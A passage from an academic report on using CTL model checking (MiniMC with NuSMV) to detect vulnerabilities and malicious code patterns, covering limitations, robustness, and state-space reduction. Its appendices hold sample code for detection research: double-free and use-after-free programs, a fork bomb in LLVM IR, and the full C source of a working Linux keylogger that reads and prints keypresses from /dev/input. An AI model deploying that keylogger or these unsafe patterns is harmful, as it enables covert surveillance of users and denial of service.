ioctl-bb0 , ioctl-bb0 , and close-bb0 . We do not enforce that this must always be

the case, as the program might be able to do other things, but we do enforce that
there exists a path where this is the case. We observe that this is the pattern of the
keylogger in Listing 4.8, which is why we have chosen to use this CTL expression.

4.1.7 Use-After-Free

Use-After-Free was discussed in Section 1.2 and is a vulnerability that is not covered
by the current implementation of the tool. As the vulnerability relies on being able
to use a dangling pointer to access freed memory, it is not possible to detect this
vulnerability without more information the particular variables across registers. As
an example, consider the following code snippet:

Listing 4.9: A C program demonstrating a Use-After-Free vulnerability[28]

1 int main(){
2 char* ptr = (char*) malloc (8);
3 int abrt = 0;
4 int err = doSomething ();
5 if (err) {
6 abrt = 1;
7 free(ptr);
8 }
9

10 if (abrt) {
11 logError("operation aborted before commit", ptr);
12 }
13 }

In this example, the pointer ptr is freed if an error occurs. In the NuSMV model
the register ptr will be set to NonDet after the call to free() . The LLVM IR of
Listing 4.9 can be seen in Listing F.1. The current method of assigning values to
registers does not keep track of register between function calls. And as such would
give each occurance of ptr a new register name. In this case the uses of ptr on
lines 7 and 11 would be assigned different registers. This would be given an entirely
new register name, and the model would not be able to detect whether the original
variable could be used after it was freed.
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4.2 Robustness of CTL Expressions

Kinder et al. present the argument for expanding CTL to CTPL to enhance robustness
against variations in malware programs, in their paper „Detecting Malicious Code by
Model Checking“.[5] This is to counter the problem antivirus software has, by using
a signature database to detect malware, where each small variation of a program
produces a new signature. The database must be updated frequently to detect these
variations of the programs.

To verify the robustness of the CTL expressions presented in this chapter, we
made small changes to programs. For simplicity we will only focus on the double free
variations, where the source code is presented in Appendix D. With the modifications,
the CTL expressions is still able to correctly detect the vulnerability. Furthermore,
we have mentioned that the CTL expression for an unsafe fork operation can be ap-
plied to other programs, such as the “uncontrollable resource consumption” program.
This is by grouping specifications under the CWE_400 pre-defined specification, which
captures both programs.

Additionally, we have tested the robustness of the CTL expressions by merging
two programs together. For this, we picked double free and xor-files because we
have CTL expressions that operate on registers, and as such we can test and get an
understanding of what makes a CTL expression robust. The program will consist
of Listings 4.4 and 4.5 in main() . Because of the register substitution showcased in
Section 3.3.1, the CTL expressions that are created for each program individually will
hold true when combining the two programs. This is because the register substitution
takes register values into account, and therefore does not apply any CTL expression
to a register that does not have the values we are checking for.

Approches to improving the robustness of CTL expression are discussed further
in Section 5.3.
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This chapter will discuss limitations in the implementation of NuSMV in MiniMC.
Furthermore, potential areas of improvement to the implementation will be discussed.
We also discuss the results of the implementation, as well as how the robustness of
the implementation can be improved.

5.1 Limitations

This section discusses the limitations of our approach. We discuss the limitations of
the Kripke structure model, MiniMC, NuSMV and of the implementation of NuSMV
into MiniMC.

Limitations of NuSMV The NuSMV model checker does not support integer sym-
bolic comparisons meaning it does not support comparisons between integers and
integer-and-symbolic values. This is a problem, as it means that we can not verify
properties that rely on integer symbolic comparisons. One such example is to check
for a real value, against an unassigned register, where the unassigned register is repre-
sented by the symbolic value Unassigned . This is a minor limitation, as an approach
where real-valued variables are used has been abandoned in favor of dataflow analysis
as seen in Section 5.4

Limitations of MiniMC Certain features of the C programming language, such as
arguments of variable length (vargs) and certain types, are not supported by MiniMC.
While some of these limitations were known from the start, they still pose a problem
for the current implementation. The lack of support for vargs means that functions
such as fprintf() and fscanf() can not be used in the model, as these use vargs.
These functions are used in many programs, and is a way for the program to interact
with streams. This means that it becomes difficult to model programs that rely on
I/O interactions. Loading and storing pointers using a Load or Store operation is
not currently supported in MiniMC, causing certain vulnerabilities to be incompatible
with the analysis done by MiniMC. We deem this to be the most significant limitating
factor with MiniMC.
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Limitations of the Implementation The solution we have presented in this report is
not a complete solution. It is a proof of concept, meant to show that it is feasible
to use CTL expressions when verifying properties of a program. Certain features
are not supported. Among these features are the ability to properly parse inline
assembly. Inline assembly is translated into a call instruction to asm in LLVM, but
is structured differently than a regular function call. Another feature is support for 32
bit pointers, because the implementation only supports 64 bit pointers. This choice
was made primarily because most modern computers and mobile devices make use of
64 bit processors. But also due to the fact that all the devices used by the authors
of this report are 64 bit devices. However, this limits the use of the implementation
when it comes to verification of programs that run on embedded systems, which often
use 32 bit processors. These limitations are not considered a critical problem, as they
can be implemented in the future, and the tool can still be used as a proof of concept.

One drawback from using dataflow analysis instead of real values is that it is not
possible to track the value of a variable throughout the program. For programs such
as Listing 4.6, it becomes difficult to reason about whether a user gains root access
or not. If we were to track real values, we could reason that a user had uid 0, and
therefore root access. However, with dataflow analysis, we can only reason that the
user has some uid, as we can not identify the actual value used. For instance, it is
possible that instead of calling setuid(0) , the program calls setuid(1001) . This is
not expressable in the current implementation, as we can not track the value of the
uid variable throughout the program. This is a problem, as it means that we can not
verify certain properties of the program.

5.2 Buffer Overflow

The current implementation does not use real valued registers, this means that com-
mon program vulnerabilities such as buffer overflows are not detectable. This is
because the current implementation does not keep track of values used in the pro-
gram, and therefore cannot detect if a value leads to being out of bound. A simple
example of a buffer overflow is shown in listing Listing 5.1.

Listing 5.1: An example of unsafe code that could lead to a buffer overflow[29]

1 char last_name [20];
2 printf ("Enter your last name: ");
3 scanf ("%s", last_name);

Here the user is requested to input their last name, but the program does not check
if the input matches the size of the array. If the user inputs a name longer than the
array size, the program will continue reading beyond the array bounds. This array
size is not modeled in the current implementation, and therefore the program can not
detect this vulnerability.
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5.3 Improving Robustness

We have implemented robustness through register substitution, where wildcard regis-
ters are substituted with the registers of the program. These registers must conform
to the CTL expression, which is being used. We do this by checking what possible
values the register can have and then substituting the wildcard register if these values
are being checked in the CTL expression. This is further explained in Section 3.3.1.

To make the CTL expressions even more robust, it would be possible to substitute
the location of the program. This would allow us to check if a function is used,
and remove an expression, if it operates on a function, which is not used in the
program. Much like with register substituting, this would be evaluated based on the
CTL expression. The list of functions would need to be traversed, in order to find the
functions, which are used in the CTL expression. We would then have to compare the
functions, which are used in the CTL expression, with the functions, which are used
in the program. If a function is not used in the program, then the expression, which
operates on the function, would be removed, much like with the register substitution.

Additional robustness could be achieved by checking if we were to replace SSA.
Currently we are not able to use the ‘until’ operator effectively on registers, as they
have at most 3 states associated with them. A register is most often only Unassigned

and Assigned , but it can also have an operation specific value, as well. This means
that we are only effectively able to use the ‘until’ operator on the Unassigned and
Assigned states, which is not very useful. If we were to replace SSA, we would be

able to use the ‘until’ operator on all states of the register, which would allow us to
check if a register is assigned a specific value, and then check if it is assigned another
specific value at a later point in the program. This would allow us to check if a
register is assigned a specific value, and then check if this value is later modified.

5.3.1 Approximating the presence of vulnerabilities

Overapproximation have been accepted regarding the CTL expressions constructed
in Chapter 4. Once such example is the Listing 4.5 program where we heavily over-
approximate the xor operation. It is assumed that the variable being xor’ed is also
being written to. This could cause false positives in programs where a variable is
being xor’ed but is not written to the file.

The initial unsafe fork CTL expression underapproximates the presence of a fork
bomb, as it requires that the fork operation always leads back to itself. To address
this issue, an alternative CTL expression was created, which overapproximates the
presence of a fork bomb.

5.4 Modelling of Values

The following section discusses the modelling of values in the NuSMV models. It uses
the documentation pages CodeQL documentation - About data flow analysis [30] and
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Data flow analysis: an informal introduction [31] as a reference.

The decision whether to attempt to model real values or to use dataflow analysis
is a difficult one. Real values can be used to more accurately model the program,
however, dataflow analysis is much easier to implement and can be used to reason
about patterns within code more effectively. The decision was made to use dataflow
analysis, as it was deemed more important to model. In this section we will discuss
the advantages and disadvantages of both approaches.

5.4.1 Real Values Registers

Real values variables are interesting as they allow for a more accurate model of the
program. Conditionals can be used to accurately model how many times a loop is
executed, and the value of a variable can be used to model the state of the program.
However, these advantages come at a cost. The NuSMV model checker does not
support real values, and as such the model checker would have to either know exactly
which values of a variable can take, or define it as a range. This would lead to a large
number of states, causing the model checker to use an impractical amount of both
time and memory to perform the verification. If real values are to be used, variables
must be tracked across the LLVM IR registers. This becomes difficult, however as the
LLVM IR uses Single Static Assignment form, which means that each register is only
assigned once. So unless a variable is used as a global variable stored on the stack,
it is difficult to track the value of a variable across registers. Since at certain points
it is required to guess the identifier for a register in the LLVM IR, it is possible that
the wrong identifier is chosen. This would lead to the wrong value being used for a
variable, which would lead to an incorrect model. Therefore the decision was made
to use dataflow analysis, as it is easier to implement and does not require the use of
real values.

5.4.2 Dataflow Analysis

Dataflow analysis is a technique used to reason about the flow of data through a
program[30, 31]. Where the focus lies more on the fact that a variable is used,
for a certain operation, rather than the value of the variable. This is useful for
reasoning about patterns within the code, such as whether a variable is used before
it is initialized, or whether a variable is used after it has been freed. However, it also
means that reasoning about behaviour within value-dependent code is difficult. For
example, if a variable is used in a conditional statement, then it is difficult to reason
about the behaviour of the program, as the value of the variable is not known.

5.4.3 Register identities

Some alternative approaches were also considered for the creation of registers in the
NuSMV models. Common to these approaches are to consider the other registers used
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when assigning a particular register. This could then be used to track the value of a
variable across registers. One example of this would be if a given register is assigned
the value of NonDet and then used in the assignment of another register. The other
register would then also be assigned the value of NonDet . This approach takes some
inspiration from the concept behind taint analysis, in that the presence of a state
like NonDet propagates throught the program from a source. Alternatively it could
be noted down whenever another register is used at all. Such that an assignment of
a register called main-reg3 with main-reg1 as one of the operands would be given
a state that indicates the presence of main-reg1 . This would allow for some basic
tracking of the use of registers.

5.5 Working with the Heap

The current implementation does not support analysing anything allocated on the
heap. While it is possible to allocate memory on the heap in MiniMC, when perform-
ing CTL analysis on the program, the heap is not considered. This is a limitation,
because of the way we model the state of registers and memory in the implementa-
tion. The current integration with NuSMV does not support modeling of the heap,
however, as MiniMC does have a simulated heap for the program it is analysing, it
would be possible to use this to model the heap. This could be done by looking at the
store and load instruction with pointers that point to the heap layout. This would
require a change in the way we model the state of the program, as we would need to
keep track of the heap in the state.

5.6 CTPL

We previously mentioned CTPL in Section 1.1. In the paper „Detecting Malicious
Code by Model Checking“, Kinder et al. uses CTPL as the specification logic, together
with a model checker, to detect malicious code. CTPL is an extension of CTL,
with same syntax and semantics with the exception that CTPL allow for mapping
a set of variables to values within an environment β. This is denoted as β[x ← a].
The difference between the two specification logics is that CTPL allows for simpler
formulas as registers are given a predicate. The formulas in Figure 5.1, express that

EF(mov eax,937 ∧AF(push eax)) ∨EF(mov ebx,937 ∧AF(push ebx))
∨EF(mov ecx,937 ∧AF(push ecx)) ∨EF(mov edx,937 ∧AF(push edx))
...

Figure 5.1: A CTL formula is created for each register.[5]

there exists a move instruction that loads the constant value of 937 into a register.
They are expressed using CTL, therefor the same instruction must be specified for
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each register. CTPL simply abstracts that need away by allowing the registers to
be given a predicate which means the same formula can be expressed as shown in
Figure 5.2. In the CTPL formula, all the available registers are labeled with the

∃rEF(mov(r, 937) ∧AF(push(r)))

Figure 5.2: CTPL formula where r is an abstraction for all registers.[5]

predicate r . If the instruction included in the formula were operating with two
registers, the registers would be labeled r and t .

A second difference between the two specification logics is that CTPL introduces
a location predicate which they denote as #Loc(L) . This predicate is used to express
locations in the Kripke structure. The predicate is used to express that there exists
instructions at that location in the Kripke structure, that will be specified at a later
state.[5]

CTPL as Kinder et al. uses it, is a syntactical abstraction over registers and with
the addition of locations compared to regular CTL. When we read the paper we do
not know if the register abstraction means that a CTL expression will be generated for
each register when an expression is prompted from the user. We have tried to create
a similar abstraction in our solution, as demonstrated in some of the CTL expressions
in Chapter 4. In the solution we have created, we are able to replace the register name
with %1 , which will generate a CTL expression for each register. We are also able to
express locations in form of basic blocks provided by MiniMC. We believe that we are
close to the same abstraction as CTPL when dealing with registers, however certain
key points differ between the two solutions. The theoretically unlimited number of
registers in LLVM IR could therefore also cause the number of CTL specifications
that are verified to grow too large. Furthermore, we are unable to track variable
changes within a register like we see in Figure 5.2 where 937 is moved into a register.
The solution of tracking real values in registers is discussed in Section 5.4.

5.7 Calling functions from multiple locations

Another limitation is that while the current implementation supports calling functions
in multiple different locations, the model does not differentiate necessarily match call
and return locations when a function is called. This means that while within function
foo , other variables are required to determine if it was called from, as an example,
main-bb3 or main-bb9 . The current implementation does not differentiate between

these two call locations regarding its return location. An example of the limitation
is if a function is called within two seperate branches of a conditional statement, it
would be able to be called within one branch and return to the other. One way to
determine this is whether the function was called from a particular basic block through
the use of next state operators going from main blocks to the basic blocks within the
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called function and then a next state operator going from the basic block within the
function to a specific main block. As discussed in Section 4.2, depending on specific
locations within functions are vulnerable to changes in the program. Another way
to differentiate would be to create different functions for each call location, but with
the same contents. This would, however, add to the state space with each additional
function call and register within these functions.

5.8 Value Extension of Registers

MiniMC contains values, that we have not implemented. In this section we will discuss
some values that are possible to implement in a later version, which will provide more
expressiveness to the CTL formula.

The Xor value is defined as part of TACOPS in MiniMC. Xor and Compared are
the only TAC operation values that are explicitly defined to set a state for a register,
in the current implementation. MiniMC’s TACOPS contain the remaining arithmetic
operations, such as add, mul and shift operations. In a more complete solution it
would be beneficial to implement these operations as well. This would provide more
registers in our smv-file, which will lead to increase in state space.

5.9 State Space Explosion

During the development of the tool, we have encountered state space explosion. This
was caused by an oversigt, where each register was given a range of values, which
turned out to be too large for the implementation to handle. The initial range of
values for each register were identical regardless of which instructions were used for
a register. We differentiate the values based on what instructions are used to create
the register record. Since each register is only used by a single instruction, we can
limit what values can be assigned to each register when exploring the paths of the
model. We encountered this issue when we attempted to test some of the CTL
specification within a larger program. This issue inspired the initial state space
reduction performed. The issue was handled by limiting the range of values that each
register could take on as described in Section 3.3.

5.10 Further State Space Reduction

With the current implementation of the state space reduction algorithm, we have
proven a feasible way to reduce the state space of a program. However, the cur-
rent implementation is not optimal. In this section, we will discuss some possible
improvements to the algorithm.

With the current algorithm we only remove edges from the model, which do not
contain any instructions and whose origin location has exactly one transition. One
possible way to further reduce state space, is to concatenate edges, which contains
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instructions, and whose origin location only has one transition. This would require
a more complex algorithm, which would have to check for each edge, if it can be
concatenated with another edge. A concatenation could be possible, until an edge is
met, which meets the following requirements:

• The origin location has more than one outgoing transition.

• The edge contains an instruction on a register which has been used in a previous
transition.

• The edge contains a call instruction.

• The edge contains a return instruction.

If none of these requirements are met for an edge, it should be possible to concatenate
it with the previous edge. This would allow for a more fine-grained state space
reduction, which would reduce the state space even further. This would also require
a more complex implementation of the state space reduction algorithm. This was
deemed to be infeasible to implement before the deadline. An example of a possible
concatenation is shown in Figure 5.3 where the edges between l0 and l4 could be
concatenated into one edge, reducing the state space by three states. By applying
this reduction, it would be possible to reduce the state space significantly, making it
possible to verify larger programs faster.

l0start l1 l2 l3 l4 l5

l5

ϵ a = 42 b = 20 a == b T

F

⇓

l0start l4 l5

l5

ϵ; a = 42; b = 20; a == b T

F

Figure 5.3: Example of concatenation of edges in a sample program that compares two variables.
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Through analysis of programs, using MiniMC paired with CTL model checking, we
have been able to successfully identify some patterns defined by CWEs. We have
done this by creating small models of the sample code found in the CWEs, and then
using CTL to verify the patterns. With this, we can conclude that CTL has some
application for identifying vulnerabilities in programs. However, we have also found
that because of the way MiniMC generates its CFA, it is not possible to create a
model of a program with a large amount of states. This is largely because MiniMC
uses SSA, which generates a new register for most instructions in a program. This
means that the amount of states in the model grows exponentially with the amount of
instructions in the program, causing the model to grow too large to be analysed within
a reasonable time frame. We have implemented a state space reduction algorithm,
which reduces the amount of states in the model by removing empty edges from the
CFA, albeit with limited success. Because MiniMC uses LLVM, and therefore SSA,
it is not possible to reduce the amount of registers in the model by removing unused
registers. As such, with the current loader in MiniMC we deem it infeasible to create
a model of a program with a large amount of instructions and apply CTL to it. If
MiniMC were to be extended to support a loader that does not use SSA, it would be
possible to reduce the amount of registers in the model by removing unused registers.
This would greatly reduce the amount of states in the model, and make it possible to
create a model of a program with a large amount of instructions. It would also mean
that models could be analysed in a reasonable time frame, and that CTL could be
used to identify vulnerabilities in these programs. NuSMV, which has been used as
the CTL engine in the implementation goes some way to reduce the time it takes to
analyse a model, by using a BDD to represent the state space. This means that the
state space is not stored explicitly, but rather as a BDD, which means that the state
space can be represented in a compact way. As such the state space can be analysed
in a reasonable time frame, even if the state space is large. For a model with 207
locations and 66 registers, each with 3 states, the NuSMV engine was able to analyse
the model in approximately 5 minutes for a single CTL expression, that traverses all
states in the model.

In conclusion, we see potential in using CTL to identify vulnerabilities in pro-
grams, but the current implementation of MiniMC is not suitable for this purpose.
If MiniMC were to be extended to support a loader that does not use SSA, it would
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be possible to create a model of a program with a large amount of instructions, and
as such it would be possible to use CTL to identify vulnerabilities in programs, with
registers included in the model. With the current implementation of MiniMC we
only find it realistic to do pattern matching on programs where only locations are
considered in the model. We have gone some way to reduce the amount of states in
the model, by implementing a state space reduction algorithm, but it is not enough
to make it feasible to create a model of a program with a large amount of instruc-
tions, and as such we recommend creating a new non-SSA loader for MiniMC before
NuSMV and CTL analysis becomes a core part of MiniMC.
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Appendix A NuSMV Patches

Listing A.1: Patches to NuSMV CMake file.

1 diff --git a/NuSMV/CMakeLists.txt b/NuSMV/CMakeLists.txt
2 index ae559c4 .. e9d5655 100644
3 --- a/NuSMV/CMakeLists.txt
4 +++ b/NuSMV/CMakeLists.txt
5 @@ -64,6 +64,10 @@ if(PREFER_STATIC_LIBRARIES)
6 list(INSERT CMAKE_FIND_LIBRARY_SUFFIXES 0 ${

CMAKE_STATIC_LIBRARY_SUFFIX })
7 endif()
8

9 + # Expose nusmv -config.h to cudd for some feature checks.
10 + add_definitions(-DHAVE_CONFIG_H)
11 + include_directories ("${CMAKE_BINARY_DIR }")
12 +
13 add_subdirectory(${CUDD_SOURCE_DIR} ${CUDD_BUILD_DIR })
14

15 if(ENABLE_MINISAT)
16 @@ -328,8 +332,6 @@ set(nusmv_core_libs # the order is relevant here
17 nusmv_write_config_h(nusmv -config.h)
18 install(FILES "${PROJECT_BINARY_DIR }/nusmv -config.h" DESTINATION include)
19

20 - add_definitions(-DHAVE_CONFIG_H)
21 -
22

23 # ----------------------------------------------------------------------
24 # source code include dirs

Listing A.2: Patches to CUDD source code.

1 diff --git a/cudd -2.4.1.1/ util/pipefork.c b/cudd -2.4.1.1/ util/pipefork.c
2 index 1d58bac .. cfd5c12 100644
3 --- a/cudd -2.4.1.1/ util/pipefork.c
4 +++ b/cudd -2.4.1.1/ util/pipefork.c
5 @@ -39,12 +39,7 @@ int util_pipefork(char **argv , /* normal

argv argument list */
6 int forkpid , waitPid;
7 int topipe [2], frompipe [2];
8 char buffer [1024];
9 -

10 - #if (defined __hpux) || (defined __osf__) || (defined _IBMR2) || (defined
__SVR4) || (defined __CYGWIN32__) || (defined __MINGW32__)

11 int status;
12 - #else
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13 - union wait status;
14 - #endif
15

16 /* create the PIPES ...
17 * fildes [0] for reading from command

Listing A.3: Patches to NuSMV source code.

1 sed ’s/extern "C"void/extern "C" void/’ MiniSat/MiniSat_v *.patch -i
2 sed s’/fprintf(file , SIGREF_HEADER)/fprintf(file , "%s", SIGREF_HEADER)/’

NuSMV/code/nusmv/addons_core/compass/sigref/sigrefWrite.c -i
3 sed s’/sprintf(preps_tmp , preps_fmt)/sprintf(preps_tmp , "%s", preps_fmt)/’

NuSMV/code/nusmv/core/cinit/cinitData.c -i
4 sed s’/fprintf(self ->fout , x)/fprintf(self ->fout , "%s", x)/’ NuSMV/code/

nusmv/core/hrc/dumpers /*.h -i



Appendix B Sample Code

B.1 Fork Bomb MiniMC Representation

Listing B.1: The MiniMC representation of a forkbomb written in C.

1 # Functions
2 ## main
3 .registers
4 <main:__minimc.sp Pointer >
5 <main:tmp4 Int32 >
6 .parameters
7 main:__minimc.sp
8 .returns
9 Int32

10 .cfa
11 BB0 {main:bb}
12 [
13 ->BB1
14 ]
15 BB1 {main:bb}
16 [
17 ->BB2
18 ]
19 BB2 {main:bb3}
20 [
21 ->BB4
22 ]
23 BB4 {main:bb3}
24 [
25 <main:tmp4 Int32 > = Call <F(1+0) Pointer > <main:__minimc.sp

Pointer >
26 ->BB5
27 ]
28 BB5 {main:bb3}
29 [
30 ->BB3
31 ]
32 BB3 {main:bb3}
33 [
34 ->BB2
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35 ]
36 ## fork
37 .registers
38 <fork:__minimc.sp Pointer >
39 <fork:_ret_ Int32 >
40 .parameters
41 fork:__minimc.sp
42 .returns
43 Int32
44 .cfa
45 BB0 {fork:Init}
46 [
47 ->BB2
48 ]
49 BB2 {fork:Init}
50 [
51 <fork:_ret_ Int32 > = NonDet Int32 <0 Int32 > <0xffffffff Int32

>
52 ->BB3
53 ]
54 BB3 {fork:Init}
55 [
56 Ret <fork:_ret_ Int32 >
57 ->BB1
58 ]
59 BB1 {fork:end}
60 [
61 ]
62 # Entrypoints
63 # Heap
64 # Initialiser

B.2 Fork Bomb LLVM Representation

Listing B.2: The LLVM representation of a forkbomb written in C.

1 ; ModuleID = ’fork.c’
2 source_filename = "fork.c"
3 target datalayout = "e-m:e-p270 :32:32 - p271 :32:32 - p272 :64:64 - i64:64-

f80:128-n8:16:32:64 - S128"
4 target triple = "x86_64 -pc -linux -gnu"
5

6 ; Function Attrs: noinline nounwind optnone sspstrong uwtable
7 define dso_local i32 @main() #0 {
8 %1 = alloca i32 , align 4
9 store i32 0, ptr %1, align 4

10 br label %2
11

12 2: ; preds = %0, %2
13 %3 = call i32 @fork () #2
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14 br label %2
15 }
16

17 ; Function Attrs: nounwind
18 declare i32 @fork() #1
19

20 attributes #0 = { noinline nounwind optnone sspstrong uwtable "
frame -pointer"="all" "min -legal -vector -width"="0" "no -trapping -
math"="true" "stack -protector -buffer -size"="8" "target -cpu"="x86
-64" "target -features"="+cx8 ,+fxsr ,+mmx ,+sse ,+sse2 ,+x87" "tune -
cpu"="generic" }

21 attributes #1 = { nounwind "frame -pointer"="all" "no-trapping -math"
="true" "stack -protector -buffer -size"="8" "target -cpu"="x86 -64"
"target -features"="+cx8 ,+fxsr ,+mmx ,+sse ,+sse2 ,+x87" "tune -cpu"="
generic" }

22 attributes #2 = { nounwind }
23

24 !llvm.module.flags = !{!0, !1, !2, !3, !4}
25 !llvm.ident = !{!5}
26

27 !0 = !{i32 1, !"wchar_size", i32 4}
28 !1 = !{i32 7, !"PIC Level", i32 2}
29 !2 = !{i32 7, !"PIE Level", i32 2}
30 !3 = !{i32 7, !"uwtable", i32 2}
31 !4 = !{i32 7, !"frame -pointer", i32 2}
32 !5 = !{!"clang version 15.0.7"}

B.3 Fork Bomb NuSMV Representation

Listing B.3: The NuSMV representation of a forkbomb written in C.

1 -- Output generated automatically by MiniMC
2 MODULE main
3 VAR locations : {main -bb0 , main -bb4 , fork -bb0 , fork -bb2 , fork -bb3 ,

main -bb5};
4 ASSIGN next(locations) :=
5 case
6 locations = main -bb0 : {main -bb4};
7 locations = main -bb4 : {fork -bb0};
8 locations = fork -bb0 : {fork -bb2};
9 locations = fork -bb2 : {fork -bb3};

10 locations = fork -bb3 : {main -bb5};
11 locations = main -bb5 : {main -bb4};
12 TRUE : locations;
13 esac;
14 ASSIGN init(locations) := {main -bb0};
15 ASSIGN next(main -reg4) :=
16 case
17 locations = main -bb4 : {Assigned };
18 TRUE : main -reg4;
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19 esac;
20 VAR main -reg4 : {Unassigned , Assigned };
21 ASSIGN init(main -reg4) := {Unassigned };



Appendix C Terminating Fork Opera-
tion Counterexample

Listing C.1: Counterexample showing how a CTL expression is false.

1 specification AG (locations = fork -bb0 -> AX (AF locations = fork -
bb0)) is false

2 -- as demonstrated by the following execution sequence
3 Trace Description: CTL Counterexample
4 Trace Type: Counterexample
5 -> State: 1.1 <-
6 locations = main -bb0
7 main -reg8 = Unassigned
8 main -reg11 = Unassigned
9 main -reg15 = Unassigned

10 -> State: 1.2 <-
11 locations = main -bb1
12 -> State: 1.3 <-
13 locations = main -bb2
14 -> State: 1.4 <-
15 locations = main -bb3
16 main -reg8 = Assigned
17 -> State: 1.5 <-
18 locations = main -bb6
19 -> State: 1.6 <-
20 locations = main -bb7
21 -> State: 1.7 <-
22 locations = main -bb14
23 -> State: 1.8 <-
24 locations = fork -bb0
25 main -reg11 = Assigned
26 -> State: 1.9 <-
27 locations = fork -bb2
28 -> State: 1.10 <-
29 locations = fork -bb3
30 -> State: 1.11 <-
31 locations = main -bb15
32 -> State: 1.12 <-
33 locations = main -bb16
34 -> State: 1.13 <-
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35 locations = main -bb17
36 main -reg15 = Assigned
37 -> State: 1.14 <-
38 locations = main -bb2
39 -> State: 1.15 <-
40 locations = main -bb3
41 -> State: 1.16 <-
42 locations = main -bb10
43 -> State: 1.17 <-
44 locations = main -bb11
45 -- Loop starts here
46 -> State: 1.18 <-
47 locations = main -bb8
48 -> State: 1.19 <-
49 -- specification AG (locations = fork -bb0 -> AX (EF locations =

fork -bb0)) is true
50

51 CTL analysis failed: expected true , got false
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Listing D.1: Double free variation 1.

1 #include <stdlib.h>
2

3 int main(void) {
4 int a = 1;
5 int *p = malloc(sizeof(int));
6 if (a == 1) {
7 free(p);
8 }
9 free(p);

10

11 return 0;
12 }

Listing D.2: Double free variation 2.

1 #include <stdlib.h>
2

3 int main(){
4 char* ptr = malloc(sizeof(char));
5

6 *ptr = ’a’;
7 free(ptr);
8 free(ptr);
9 return 0;

10 }

Listing D.3: Double free variation 3.

1 #include <stdlib.h>
2

3 int main(){
4 char* ptr = malloc(sizeof(char));
5

6 *ptr = ’a’;
7 free(ptr);
8 ptr = NULL;
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9 free(ptr);
10 return 0;
11 }

Listing D.4: Double free variation 4.

1 #include <stdlib.h>
2

3 int some_ptr_instr(int *p) {
4 return *p;
5 }
6

7 int main(void) {
8 int a = 1;
9 int *p = malloc(sizeof(int));

10 if (a == 1) {
11 some_ptr_instr(p);
12 free(p);
13 }
14 free(p);
15

16 return 0;
17 }



Appendix E Keylogger Source Code

Listing E.1: A simple keylogger that does not require multithreading. This code can be found on
GitHub at https://github.com/SCOTPAUL/keylog, with slight modifications made.

1 #include <sys/types.h>
2 #include <sys/stat.h>
3 #include <unistd.h>
4 #include <stdio.h>
5 #include <dirent.h>
6 #include <sys/ioctl.h>
7 #include <linux/input.h>
8 #include <fcntl.h>
9 #include <stdlib.h>

10 #include <string.h>
11

12 #define INPUT_DIR "/dev/input/"
13

14 static int is_char_device(const struct dirent *file){
15 struct stat filestat;
16 char filename [512];
17 int err;
18

19 snprintf(filename , sizeof(filename), "%s%s", INPUT_DIR , file ->
d_name);

20

21 err = stat(filename , &filestat);
22 if(err){
23 return 0;
24 }
25

26 return S_ISCHR(filestat.st_mode);
27 }
28

29 char *get_keyboard_event_file(void){
30 char *keyboard_file = NULL;
31 int num , i;
32 struct dirent ** event_files;
33 char filename [512];
34

35 num = scandir(INPUT_DIR , &event_files , &is_char_device , &
alphasort);
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36 if(num < 0){
37 return NULL;
38 }
39

40 else {
41 for(i = 0; i < num; ++i){
42 int32_t event_bitmap = 0;
43 int fd;
44 int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
45

46 snprintf(filename , sizeof(filename), "%s%s", INPUT_DIR ,
event_files[i]->d_name);

47 fd = open(filename , O_RDONLY);
48

49 if(fd == -1){
50 perror("open");
51 continue;
52 }
53

54 ioctl(fd , EVIOCGBIT (0, sizeof(event_bitmap)), &
event_bitmap);

55 if(( EV_KEY & event_bitmap) == EV_KEY){
56 // The device acts like a keyboard
57

58 ioctl(fd , EVIOCGBIT(EV_KEY , sizeof(event_bitmap)),
&event_bitmap);

59 if(( kbd_bitmap & event_bitmap) == kbd_bitmap){
60 // The device supports A, B, C, Z keys , so it

probably is a keyboard
61 keyboard_file = strdup(filename);
62 close(fd);
63 break;
64 }
65

66 }
67

68 close(fd);
69

70 }
71 }
72

73 // Cleanup scandir
74 for(i = 0; i < num; ++i){
75 free(event_files[i]);
76 }
77

78 free(event_files);
79

80 return keyboard_file;
81 }
82

83 int main(int argc , char **argv){
84 char *keyboard_file;



71

85 FILE* fp;
86 int fd;
87 struct input_event ev;
88

89 keyboard_file = get_keyboard_event_file ();
90 if(keyboard_file == NULL){
91 // fprintf(stderr , "Unable to find keyboard input event file

\n");
92 return 1;
93 }
94

95 fp = fopen(keyboard_file , O_RDONLY);
96 fd = fileno(fp);
97 if(fd == -1){
98 perror("open");
99 return 1;

100 }
101

102 while (1){
103 read(fd, &ev , sizeof(ev));
104 if(ev.type == EV_KEY && ev.value == 1){
105 printf("%d\n", ev.code);
106 }
107 }
108

109 close(fd);
110 return 0;
111 }
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Appendix F Use-After-Free LLVM Code

Listing F.1: LLVM representation of Use-After-Free.

1 @.str = private unnamed_addr constant [32 x i8] c"operation aborted
before commit \00", align 1

2

3 ; Function Attrs: noinline nounwind optnone sspstrong uwtable
4 define dso_local i32 @main() #0 {
5 %1 = alloca i32 , align 4
6 %2 = alloca ptr , align 8
7 %3 = alloca i32 , align 4
8 %4 = alloca i32 , align 4
9 store i32 0, ptr %1, align 4

10 %5 = call noalias ptr @malloc(i64 noundef 8) #4
11 store ptr %5, ptr %2, align 8
12 store i32 0, ptr %3, align 4
13 store i32 0, ptr %4, align 4
14 %6 = load i32 , ptr %4, align 4
15 %7 = icmp ne i32 %6, 0
16 br i1 %7, label %8, label %10
17

18 8: ; preds = %0
19 store i32 1, ptr %3, align 4
20 %9 = load ptr , ptr %2, align 8
21 call void @free(ptr noundef %9) #5
22 br label %10
23

24 10: ; preds = %8, %0
25 %11 = load i32 , ptr %3, align 4
26 %12 = icmp ne i32 %11, 0
27 br i1 %12, label %13, label %16
28

29 13: ; preds = %10
30 %14 = load ptr , ptr %2, align 8
31 %15 = call i32 (ptr , ptr , ...) @logError(ptr noundef @.str , ptr

noundef %14)
32 br label %16
33

34 16: ; preds = %13,
%10

35 %17 = load i32 , ptr %1, align 4
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36 ret i32 %17
37 }
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